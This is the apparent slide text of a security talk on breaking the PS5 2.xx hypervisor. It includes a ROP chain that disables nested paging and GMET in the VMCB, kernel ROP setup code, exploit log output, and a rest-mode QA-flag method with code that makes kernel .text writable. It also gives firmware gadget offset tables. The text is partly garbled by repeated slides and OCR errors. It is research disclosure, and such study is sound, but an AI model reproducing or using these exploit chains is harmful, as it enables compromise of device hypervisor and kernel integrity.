1 1 2 1 3 0	NP_ENABLE—Enable nested paging. Enable Secure Encrypted Virtualization Enable Encrypted State for Secure Encrypted Virtualization Guest Mode Execute Trap SSSCheckEn - Enable supervisor shadow stack restrictions in nested page tables. Support for this feature is indicated by
3	Enable Encrypted State for Secure Encrypted Virtualization Guest Mode Execute Trap SSSCheckEn - Enable supervisor shadow stack restrictions in
3	Guest Mode Execute Trap SSSCheckEn - Enable supervisor shadow stack restrictions in
	SSSCheckEn - Enable supervisor shadow stack restrictions in
4 nested p	CPUID Fn8000_000A_EDX[19] (SSSCheck)
090h	Virtual Transparent Encryption.
6 7	Enable Read Only Guest Page Tables. See "Nested Table Walk" on page 549
	Enable INVLPGB/TLBSYNC. 0 - INVLPGB and TLBSYNC will result in #UD. 1 - INVLPGB and TLBSYNC can be executed in guest. Presence of this bit is indicated by CPUID bit 8000_000A, EDX[24] = 1. When in SEV-ES guest or this bit is not present, INVLPGB/TLBSYNC is always enabled in guest if supported by processor.

Hypervisor ROP chain to disable Nested Paging & GMET

```
uint64_t hv_rop_chain[] = {
    0x0.
   KROP GADGET POP RAX,
   KROP DATA CAVE SAVECTX + 0x28,
   KROP GADGET MOV RAX QWORD PTR RAX, // rax = [savectx + 0x28] = r14
   KROP GADGET POP RDX,
   0x8.
   KROP GADGET ADD RAX RDX,
   KROP GADGET MOV RAX QWORD PTR RAX, // rax = [r14 + 0x8] = VMCB
   KROP GADGET POP RDX,
   0x90,
   KROP GADGET ADD RAX RDX,
                                     // rax = VMCB->ctrl 90h (NP ENABLE, GMET, SEV, etc.)
   KROP GADGET MOV QWORD PTR RAX 0, // *rax = 0
    KROP GADGET POP RDI,
   KROP DATA CAVE SAVECTX + 0x38,
                                       // rdi = savectx + 0x38
    KROP GADGET POP RSI,
   KROP GADGET RETURN ADDR,
    KROP_GADGET_MOV_QWORD_PTR_RDI_RSI, // *(save_ctx + 0x38) = ret;
    KROP GADGET POP RDI,
    KROP DATA CAVE SAVECTX,
    KROP GADGET LONGJMP.
                                     // longjmp to return cleanly
    KROP GADGET INFLOOP,
                                      // jmp 0
```

- But we still need a ROP chain to setup and trigger

- But we still need a ROP chain to setup and trigger
- For nice ROP chains that don't violate CFI
 - Use threads and edit kernel stack
 - Create worker thread that does blocking read
 - On main thread, use kernel R/W to iterate proc threads
 - Find stack and edit return address
 - To trigger, write to unblock worker thread
- Very clean with little fixup needed

```
kernel write8(KROP DATA CAVE + 0x1048, KROP GADGET SETJMP);
krop push(krop, KROP GADGET POP RDI);
krop push(krop, KROP DATA CAVE + 0x1000);
krop push(krop, KROP GADGET POP RAX);
krop push(krop, KROP GADGET RET);
krop push(krop, KROP GADGET MOV R9 QWORD PTR RDI 48h); // r9 = setjmp
krop push(krop, KROP GADGET POP RBX);
krop push(krop, KROP DATA CAVE ROPCTX);
                                                     // rbx = ropctx
krop push(krop, KROP GADGET POP RSI);
krop push(krop, KROP DATA CAVE RSI PTR);
                                                      // rsi = rsi ptr
krop push(krop, KROP GADGET POP R12);
krop push(krop, KROP JOP2 OFFSET FROM JMP TABLE);  // r12 = JOP 2 offset
krop push(krop, KROP GADGET HYPERCALL SET CPUID PS4); // hypercall
krop push(krop, KROP GADGET POP R12);
                                                       // restore r12
krop_push(krop, kdlsym(KERNEL_SYM_STACK_CHK_GUARD));
krop push(krop, KROP GADGET RET);
                                                       // return cleanly
krop push exit(krop);
```

- After ROP chain completes, VMCB on that core has nested paging disabled
 - We are free to edit kernel PTEs
 - Disable XOTEXT
 - Enable write
 - Hypervisor + kernel integrity is broken
- Can use broken core & edit VMCBs of other cores
 - Disable NPT/GMET on them too

```
[+] KROP: krop worker thread entered (core=0x9), reading from 10
[+] About to ROP (disable NPT/GMET in VMCB)...
[+] KROP: krop worker thread exiting
[+] Pinned to core: 0x9
[+] Hypervisor should be broken on core 0x9 (nested paging disabled)
[+] Mirrored kernel .text sys getppid = 2002846c0 (-> 0xffffffff823166c0)
hex:
                                                   UH..AWAVATSH._.I
55 48 89 E5 41 57 41 56 41 54 53 48 8B 5F 08 49
89 FE 48 8D 15 32 3C CE 01 B9 87 00 00 00 31 F6
                                                    ..H..2<.....1.
4C 8D BB 48 01 00 00 4C 89 FF E8 21 46 1D 00 F6
                                                   L..H...L...!F....
83 B1 00 00 00 08 75 25 48 8B 83 E0 00 00 00 48
                                                    .....u%H......H
8D 15 05 3C CE 01 4C 89 FF B9 8A 00 00 00 31 F6
8B 98 BC 00 00 00 E8 E5 4A 1D 00 EB 50 4C 8D 25
                                                   .....J...PL.%
E7 3B CE 01 4C 89 FF B9 8C 00 00 00 31 F6 4C 89
                                                   .;..L.....1.L.
E2 E8 CA 4A 1D 00 4C 8D 3D AB B4 FD 03 4C 89 E2
                                                   ...J..L.=....L..
B9 8D 00 00 00 31 F6 4C 89 FF E8 61 44 86 00 48
                                                   .....1.L...aD..H
                                                   ...).....L..
89 DF E8 29 E6 7F 00 8B 98 BC 00 00 00 4C 89 FF
4C 89 E6 BA 90 00 00 00 E8 E3 54 86 00 48 63 C3
                                                   L.....T..Hc.
                                                   I.....1.[A\A^A
49 89 86 08 04 00 00 31 C0 5B 41 5C 41 5E 41 5F
5D C3 90 90 90 90 90 90 90 90 90 90 90 90 90
                                                   UH..AWAVATSH. .L
55 48 89 E5 41 57 41 56 41 54 53 48 8B 5F 08 4C
8D 3D 65 3B CE 01 49 89 FC B9 A3 00 00 00 31 F6
                                                   .=e;..I.....1.
4C 89 FA 4C 8D B3 48 01 00 00 4C 89 F7 E8 4E 45
                                                   L..L..H...L...NE
1D 00 48 8B 83 B8 0A 00 00 4C 89 F7 4C 89 FA B9
                                                    ..H.....L..L...
A5 00 00 00 31 F6 48 63 40 28 49 89 84 24 08 04
                                                    ....1.Hc@(I..$..
00 00 E8 19 4A 1D 00 31 C0 5B 41 5C 41 5E 41 5F
                                                    ....J..1.[A\A^A
5D C3 90 90 90 90 90 90 90 90 90 90 90 90 90
```

- This is great, but it's not ideal
- ROP chain is complex and requires a number of gadgets
- Porting these to firmwares we don't already have .text for would be painful
- Debugging capability is very limited
 - Best we can do is use infinite loop gadgets and observe behavior
- Doable, but would take a lot of time & effort

Breaking 2.xx Hypervisor (#2)

Bug #2 - A Big Fail



- ChendoChap noticed another bug...

- ChendoChap noticed another bug...
- Hypervisor's NPT construction contains a special condition...

- If System Level Debugging QA flag set, kernel .text pages are R/W
- XOTEXT is not applied

```
void hv_init_pagetables() __noreturn
int64_t* pt = hv_alloc_pages(1)
int64_t* cur_pte = pt
*(pd + (j << 3)) = hv_vtophys(pt) | 7
                                                 // PG_PRESENT | PG_RW
for (int64_t k = 0; k != 0x200000; )
    int64_t rcx_14 = k | r12_4
                                                 int64_t ktext_flags = 0b11
    int64_t pte
    if (rax_12 u<= rcx_14 && rcx_14 u< r15_3)
    else if (&ktext_start - rax_15 u> rcx_14 || rcx_14 u &ktext_end - rax_15)
        pte = 0
        if ((rcx_14 & 0x7fffffffffff8000) != Pxfdd80000)
            pte = rcx_14 | 0b111
    else
        pte = rcx_14 | ktext_flags
    *cur_pte = pte
    k += 0 \times 1000
    cur_pte = &cur_pte[1]
```

- These flags are shared with the guest kernel
 - We actually set this flag already in the IPV6 and UMTX kernel exploit chain for other reasons

- These flags are shared with the guest kernel
 - We actually set this flag already in the IPV6 and UMTX kernel exploit chain for other reasons
- At first glance, this doesn't seem problematic
 - Nested page tables are constructed at boot time
 - We change these flags after HV is initialized

- These flags are shared with the guest kernel
 - We actually set this flag already in the IPV6 and UMTX kernel exploit chain for other reasons
- At first glance, this doesn't seem problematic
 - Nested page tables are constructed at boot time
 - We change these flags after HV is initialized
- But what happens if we enter sleep state boot path?

- On suspend/resume, these flags are just copied back over from the hibernation file
 - The QA flags are not reinitialized by the secure loader

- On suspend/resume, these flags are just copied back over from the hibernation file
 - The QA flags are not reinitialized by the secure loader
- But the hypervisor is reinitialized…

- On suspend/resume, these flags are just copied back over from the hibernation file
 - The QA flags are not reinitialized by the secure loader
- But the hypervisor is reinitialized…
- LOL

- On suspend/resume, these flags are just copied back over from the hibernation file
 - The QA flags are not reinitialized by the secure loader
- But the hypervisor is reinitialized…
- LOL
- We can exploit this by doing almost no additional work!

- Run the UMTX kernel exploit
- Put system into rest mode
- Power system back on
- Modify kernel PTEs to remove XOM bit and make writable
 - We no longer clash with nested paging permissions
- Win

```
kernel pmap = kdlsym(KERNEL SYM PMAP STORE);
SOCK LOG("[+] Kernel pmap = 0x%1x\n", kernel pmap);
// Disable xotext + enable write on kernel .text pages
SOCK LOG("[+] Disabling xotext\n");
for (uint64 t addr = ktext(0); addr < KERNEL ADDRESS DATA BASE; addr += 0x1000) {</pre>
   pde addr = find pde(kernel pmap, addr, &pde);
   CLEAR_PDE_BIT(pde, XOTEXT);
       SET PDE BIT(pde, RW);
       kernel_copyin(&pde, pde_addr, sizeof(pde));
   pte addr = find pte(kernel pmap, addr, &pte);
   CLEAR PDE BIT(pte, XOTEXT);
       SET_PDE_BIT(pte, RW);
       kernel copyin(&pte, pte addr, sizeof(pte));
// Check if this is a resume state or not, if it's not, prompt for restart and exit
if (kernel_read4(kdlsym(KERNEL_SYM_DATA_CAVE)) != 0x1337) {
   SOCK LOG("[+] System needs to be suspended and resumed...\n");
   flash notification("Byepervisor\nEnter rest mode and resume");
   kernel write4(kdlsym(KERNEL SYM DATA CAVE), 0x1337);
   return 0;
```

- This allows full break of the hypervisor and kernel integrity

- This allows full break of the hypervisor and kernel integrity
- Only a few offsets needed

- This allows full break of the hypervisor and kernel integrity
- Only a few offsets needed, we went from this...

```
uint64_t g_sym_map_250[] = {
    0x4CB3B50,
    0x4CB3B54,
    0x4CB38AC,
    0x248E7EC,
    0x4CB38C8,
    0x245BEE0,
    0x248EBB0,
uint64_t g_gadget_map_250[] = {
    0x167001,
                        // KERNEL GADGET RET
    0x16ADB2.
                        // KERNEL GADGET INFLOOP
    0xAE02D0.
    0xAE093F.
                        // KERNEL GADGET RETURN ADDR
    0x1A6638,
                        // KERNEL GADGET POP RSI
    0x1671F0,
    0x2D79B8,
                        // KERNEL GADGET POP RDX
    0x1C3290,
                        // KERNEL GADGET POP RAX
    0x172A5F,
                        // KERNEL GADGET POP RBX
    0x201D59,
                        // KERNEL GADGET ADD RAX RDX
    0x672D37,
                        // KERNEL GADGET MOV R9 QWORD PTR RDI 48
    0x62D1A1,
                        // KERNEL GADGET POP R12
                        // KERNEL GADGET MOV QWORD PTR RDI RSI
    0x3B2906,
    0x1C2858,
                        // KERNEL GADGET MOV RAX QWORD PTR RAX
    0x16B350,
    0x16B4F7,
                        // KERNEL GADGET MOV QWORD PTR RAX 0
    0x2486B0.
                        // KERNEL GADGET SETJMP
    0x2486E0.
    0xB5D9AC,
    0x21A36B.
                        // KERNEL GADGET JOP2
```

- This allows full break of the hypervisor and kernel integrity
- Only a few offsets needed, we went from this... to this


```
uint64_t g_sym_map_250[] = {
    0x4CB3B50,
    0x4CB3B54,
    0x4CB38AC,
    0x248E7EC,
    0x4CB38C8,
    0x245BEE0,
    0x248EBB0.
uint64_t g_gadget_map_250[] = {
    0x167001,
                         // KERNEL GADGET RET
    0x16ADB2.
                        // KERNEL GADGET INFLOOP
    0xAE02D0.
    0xAE093F.
                        // KERNEL GADGET RETURN ADDR
    0x1A6638,
                        // KERNEL GADGET POP RSI
    0x1671F0,
    0x2D79B8,
                        // KERNEL GADGET POP RDX
    0x1C3290,
                        // KERNEL GADGET POP RAX
    0x172A5F,
                        // KERNEL GADGET POP RBX
    0x201D59,
                        // KERNEL GADGET ADD RAX RDX
    0x672D37,
                        // KERNEL GADGET MOV R9 QWORD PTR RDI 48
    0x62D1A1,
                        // KERNEL GADGET POP R12
    0x3B2906,
    0x1C2858,
                        // KERNEL GADGET MOV RAX QWORD PTR RAX
    0x16B350,
    0x16B4F7,
                        // KERNEL GADGET MOV QWORD PTR RAX 0
    0x2486B0.
                        // KERNEL GADGET SETJMP
    0x2486E0.
                        // KERNEL GADGET JOP1
    0xB5D9AC,
    0x21A36B,
                        // KERNEL GADGET JOP2
```



Bonus bug

Disclosed by flatz recently

Another sleep-state based bug from flatz



Demo

Dumping and patching the kernel

Putting your PS5 into rest mode...

Day's urgoing the AC power cost when the power traticator on your PSS is it or blinking.



Conclusion

And Post-Escape Opportunities

Post-escape opportunities

- Ability to read/write kernel .text pages gives a lot of opportunities
- We can rely on built-in kernel API to do things and reverse how devices work
 - Can also patch and hook them to gain introspection
- Debugging future kernel exploits is considerably easier
- We end up in a similar situation PS4 was in after kernel exploit
- Booting Linux should now be possible (with a lot of work...)

Conclusions

- The 1.xx/2.xx hypervisor is a flimsy implementation
- When hypervisor is integrated so tightly with guest kernel, separation is basically impossible
- Sony realized this
 - Starting in 3.00, the hypervisor is loaded in a separate region independently of the kernel
 - And thus these exploits do not work

Conclusions

- Breaking the hypervisor on 3.xx+ is more challenging
 - But it has been done...
- While 2.xx firmware is fairly old at this point
 - These exploits still allow public research into the system previously not possible
 - Can be used to find bugs in other coprocessors

If this interested you...

- Shawn Hoffman (@shuffle2) gave a presentation @ sascon yesterday
 - Looks at Titania and Salina SoCs
 - Custom SSD controller background and attacks
- Enables even deeper research....

Final word

- Repo will be published soon after this talk
 - https://github.com/PS5Dev/Byepervisor
 - Includes code to dump the kernel in its entirety
 - Example patches
 - Analysis scripts/loaders
- I run a discord for PS5 research
 - discord.gg/kbrzGuH3F6
- If you want to reach out
 - Discord: specterdev
 - Twitter: @SpecterDev

Shouts & Greetz

- ChendoChap: ROP chain help + meme bug
- Flatz: Kernel dumps + other knowledge
- Fail0verflow: UMTX kernel exploit reference implementation
- Kiwidog, Tihmstar, HardPwn: Help with demo stuff
- Hardwear.io

The End

for now...